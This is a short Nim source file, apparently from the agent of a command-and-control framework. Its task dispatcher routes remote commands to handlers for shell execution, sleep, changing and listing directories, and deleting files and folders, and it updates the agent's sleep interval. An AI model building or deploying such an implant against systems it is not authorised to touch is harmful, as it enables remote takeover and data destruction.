Files
conquest/agents/monarch/task.nim

32 lines
788 B
Nim
Raw Normal View History

import strutils, tables
import ./types
import ./commands/commands
2025-05-29 15:26:50 +02:00
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
let handlers = {
ExecuteShell: taskShell,
Sleep: taskSleep,
GetWorkingDirectory: taskPwd,
SetWorkingDirectory: taskCd,
ListDirectory: taskDir,
RemoveFile: taskRm,
RemoveDirectory: taskRmdir
}.toTable
# Handle task command
taskResult = handlers[task.command](task)
echo taskResult.data
# Handle actions on specific commands
case task.command:
2025-05-29 15:26:50 +02:00
of Sleep:
if taskResult.status == Completed:
2025-06-02 21:14:13 +02:00
config.sleep = parseInt(task.args[0])
else:
discard
# Return the result
return taskResult